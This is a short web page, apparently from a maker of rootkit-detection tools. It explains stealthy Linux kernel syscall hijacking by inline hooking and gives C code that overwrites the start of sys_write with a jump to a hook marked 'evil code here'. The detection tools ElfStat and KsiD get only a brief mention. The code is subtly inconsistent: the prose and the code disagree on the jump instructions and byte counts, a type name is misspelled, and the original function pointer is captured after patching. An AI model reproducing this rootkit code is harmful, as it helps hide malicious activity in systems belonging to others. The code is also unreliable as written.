This is a more stealth method of syscall hijacking without having to directly modify the syscall table; instead the first several bytes of the syscall are overwritten with a jump to the new code -- i.e "movl $0x0, %eax; jmp *%eax". Keep in mind the original 7 bytes are saved and copied back into the original syscall so that it may be called within the
evil syscall. This type of syscall hijacking cannot be detected by tools like ktraq, however a tool like ElfStat which analyzes the text segment of the running kernel and compares it to vmlinux can detect this method, or Ksid which checks the first several bytes of each syscall for a number of different code sequences.
There really isn't much to explain beyond the above paragraph, thus a code example speaks the most.
In Linux 2.6 sys_call_table is not exported, you can either get its address via kmem or use System.map
We are assuming it resides at c0300000
void **sys_call_table = (unsigned long **)0xc0300000;
int (*SYS_write_)(int, void *, int);
Original code will hold the first 6 bytes of the syscall we intercept
char original_code[6];
chat replacement_code[6] =
"\x68\x00\x00\x00\x00" /* pushl $0x00000000 */
"\xc3"; /* ret */
Here we initialize our syscall hijacking for syscall write, this could be done through kmem but in this case we'll pretend its an LKM
int init_hijack(void)
{
/* Here we patch our special replacement code with the memory address of our new_function */
*(unsigned long *)&replacement_code[1] = (unsigned long)new_function;
/* Next we save the first 6 bytes of the original syscall */
memcpy(original_code, sys_call_table[__NR_write], 6);
/* Overwrite the first 6 bytes of syscall write with instructions to return to our new function */
memcpy(sys_call_table[__NR_write], replacement_code, 6);
/* create a function pointer to easily call sys_write later */
SYS_write_ = (void *)sys_call_table[__NR_write]; return 0; }
Here is our new function that is jumped to (or returned in our case) once sys_write is called
int new_function(int fd, void *buf, int len)
{
/* ... evil code here ... */
/* temporarily copy original initial code back into syscall */
memcpy(sys_call_table[__NR_write], original_code, 6);
/* execute real syscall code */
SYS_write_(fd, buf, len);
/* overwrite first 6 bytes of sys_write with our hook code again */
memcpy(sys_call_table[__NR_write], replacement_code, 6); }
So that's the general idea behind it -- you can use this method to hijack kernel functions as well, with some obvious modifications (no syscall table). It should be pretty obvious how to detect this type of infection, I've written several tools that see this -- KSiD (Kernel Symbol interception detection) is the latest, it checks the first N bytes of each kernel function and syscall for specific code sequences like jumps and rets.
Hidden Service Detection
Hidden Process Detection
Tools-Elfstat
Hidden Registry Detection
Tools-KsiD
ToolsCount
~~~~~~~~~~~~~~~~~~~
Elfstat3712
dwtf2866
KsiD2497
SHC1839
NOTE: Our tools are listed in many sites and torrents, which makes it hard for us to track all downloads. Hence, we are listing only the total installations from our website.